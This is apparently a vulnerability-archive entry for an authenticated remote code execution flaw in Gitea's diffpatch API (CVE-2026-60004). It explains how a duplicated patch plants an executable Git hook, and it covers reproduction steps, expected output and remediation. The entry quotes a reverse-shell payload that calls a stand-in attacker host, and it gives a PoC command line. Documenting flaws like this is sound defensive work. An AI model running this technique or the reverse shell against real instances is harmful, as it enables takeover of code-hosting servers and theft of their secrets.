Gitea — diffpatch API Git Hook Remote Code Execution (CVE-2026-60004)
Published: 2026-08-09 • Researcher: Disclosed via Gitea blog and The Hacker News; PoC author uncredited on upstream repo
- Severity
- High
- CVE
- CVE-2026-60004
- Category
- web
- Affected product
- Gitea (self-hosted Git service), diffpatch API endpoint, Git three-way merge fallback
- Affected versions
- Gitea 1.17 through 1.27.0
- Disclosed
- 2026-08-09
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-08-09 |
| Last Updated | 2026-08-09 |
| Author / Researcher | Disclosed via Gitea blog and The Hacker News; PoC author uncredited on upstream repo |
| CVE / Advisory | CVE-2026-60004 |
| Category | web |
| Severity | High |
| CVSS Score | 8.8 (CVSSv3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Status | Patched |
| Tags | gitea, git, diffpatch, git-hook, post-index-change, three-way-merge, bare-repository, CWE-94, authenticated-rce, self-hosted, code-hosting |
| Related | — |
Affected Target
| Field | Value |
|---|---|
| Software / System | Gitea (self-hosted Git service), diffpatch API endpoint, Git three-way merge fallback |
| Versions Affected | Gitea 1.17 through 1.27.0 |
| Language / Platform | Go (Gitea), Git; exploit in Python 3 (stdlib only) |
| Authentication Required | Yes — requires repository write access. If open registration is enabled, an attacker can self-register, create a repository, and reach the vulnerable path. |
| Network Access Required | Remote — the POST /api/v1/repos/{owner}/{repo}/diffpatch endpoint is reachable over HTTP/HTTPS |
Summary
CVE-2026-60004 is an authenticated remote code execution vulnerability in the Gitea diffpatch API. The endpoint applies a supplied patch with git apply --cached, which should only update the index and never write files to disk. However, by sending the same patch twice, an attacker can force an add/add collision that triggers Git’s three-way merge fallback (-3) — and this fallback path ignores --cached, checking the merged file out to the working tree.
Because Gitea’s temporary clone for the diffpatch operation is bare, its working tree root is $GIT_DIR itself. A patch that creates an executable hooks/post-index-change therefore installs a live Git hook inside the bare repository. Git executes that hook on the next index update, running the attacker’s command as the Gitea service account.
The endpoint requires repository write access. If open registration is enabled (a common default), an attacker can self-register an account, create a repository, and reach the vulnerable code path without any approval step.
Note (2026-08-09): At the time of writing, this CVE is not yet indexed in the NVD or published as a GitHub Security Advisory. The vulnerability was disclosed via the Gitea release blog and covered by The Hacker News. The CVE ID was confirmed from the upstream repository naming and the Gitea 1.27.1 changelog.
Vulnerability Details
Root Cause
The diffpatch API calls git apply --cached to apply a user-supplied patch to the index only. Git’s --cached flag is supposed to prevent any working-tree writes. However, when the same patch is applied twice in succession, the second application encounters an add/add conflict — the file already exists in the index from the first application, and the patch tries to create it again. Git’s conflict-resolution path invokes the three-way merge (-3) fallback, which reconstructs a common ancestor and merges into the working tree. Critically, this merge path does not honour --cached — it writes the merged file to disk.
Because Gitea performs the diffpatch operation inside a bare repository clone, the “working tree” is the Git directory itself. A patch that creates a file at hooks/post-index-change — a path that would be harmless in a normal working tree — therefore lands directly inside the bare repository’s hooks/ directory. Git automatically executes any executable file in hooks/ when the corresponding event fires; post-index-change runs after every index update, which means the hook fires immediately after the diffpatch operation completes.
Attack Vector
- Register an account on the target Gitea instance (if open registration is enabled) or obtain credentials with write access to any repository.
- Create an initialized repository (the
mainbranch must exist). - Send a crafted patch twice to
POST /api/v1/repos/{owner}/{repo}/diffpatch. The patch creates an executablehooks/post-index-changecontaining the attacker’s payload. - The first request applies the patch to the index. The second request triggers the three-way merge fallback, which writes the hook file into
$GIT_DIR/hooks/and sets the executable bit. - The hook executes on the next index operation, running the attacker’s command as the Gitea service account (
git).
The PoC embeds a reverse-shell payload: bash -i >& /dev/tcp/ATTACKER/4444 0>&1, base64-encoded inside the hook script.
Impact
Remote code execution as the Gitea service account (typically git). The attacker can read all hosted repositories, access Gitea configuration and database credentials, modify repository content, and potentially pivot to connected systems. On instances with open registration, the only precondition is the ability to visit the sign-up page.
Environment / Lab Setup
A vulnerable Gitea instance is required. The upstream repository includes a Dockerfile.
| |
Setup Steps
| |
Proof of Concept
See
poc.pyandDockerfilein this folder — mirrored byte-for-byte from the upstream repository. The upstream README is preserved asupstream-README.md.
Step-by-Step Reproduction
- Deploy Gitea 1.27.0 — the Dockerfile builds a vulnerable instance with open registration enabled.
- Register an account and create an initialized repository through the web UI.
- Start a reverse-shell listener on the callback host.
- Run the PoC:Shell script
1python3 poc.py --url http://TARGET:3000 --user USER --pw PASSWORD --repo REPO --lhost ATTACKER_IP - Verify the shell — the listener receives a connection running as
uid=1000(git).
Exploit Code
The PoC constructs the malicious patch by hand:
| |
It then builds a valid Git patch diff creating hooks/post-index-change with mode 100755 (executable), and sends the same patch body twice to the diffpatch endpoint. The second request triggers the three-way merge that writes the hook to disk.
Expected Output
[*] callback: ATTACKER_IP:4444
[+] diffpatch 1/2: HTTP 200
[+] diffpatch 2/2: HTTP 200
[+] payload delivered; check the listenerOn the listener:
uid=1000(git) gid=1000(git) groups=1000(git)Detection and Indicators of Compromise
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Gitea 1.27.1 or later. The fix prevents the three-way merge fallback from writing files outside the intended working tree during git apply --cached operations. |
| Workaround | Disable open registration (DISABLE_REGISTRATION=true) to prevent unauthenticated users from obtaining the required write access. Restrict repository creation to trusted users. Block the /api/v1/repos/*/diffpatch endpoint at a reverse proxy if not needed. |
| Verification | Confirm the Gitea version is 1.27.1 or later; check the changelog for the CVE-2026-60004 entry. |
References
- Gitea 1.27.1 Release Notes — includes the CVE-2026-60004 fix
- The Hacker News — Gitea diffpatch RCE coverage
- CVE Record — CVE-2026-60004 (NVD)
- Upstream PoC Repository
Notes
Verified this session by reading the full PoC source (poc.py, ~57 lines). The script is succinct and auditable: it builds a Git patch by hand using the SHA-1 hash of the hook blob, base64-encodes the reverse-shell command, and sends the patch twice to trigger the three-way merge. The payload is a standard bash -i reverse shell — the same payload any penetration tester would use. The script uses only the Python standard library.
Malware screen — clean. No obfuscated payloads, no remote downloaders, no credential exfiltration, no miner. The only outbound connection is the reverse shell the operator explicitly configures. The Dockerfile builds a stock Gitea 1.27.0 image with no modifications beyond leaving registration enabled — the default configuration for a self-hosted Gitea instance.
Sourcing note (2026-08-09): This CVE was not yet indexed in the NVD or published as a GitHub Security Advisory at the time of writing. The vulnerability was disclosed via the official Gitea 1.27.1 release blog and amplified by The Hacker News. The CVE ID was confirmed from the upstream repository naming. The entry will be updated when the NVD record is published.
Because the repository write-access precondition means the attacker must either self-register (when open registration is enabled) or hold credentials, this is rated High rather than Critical — the attacker needs at least one authenticated action. However, on instances with open registration (a common default for self-hosted Gitea), the barrier is effectively nil.
| |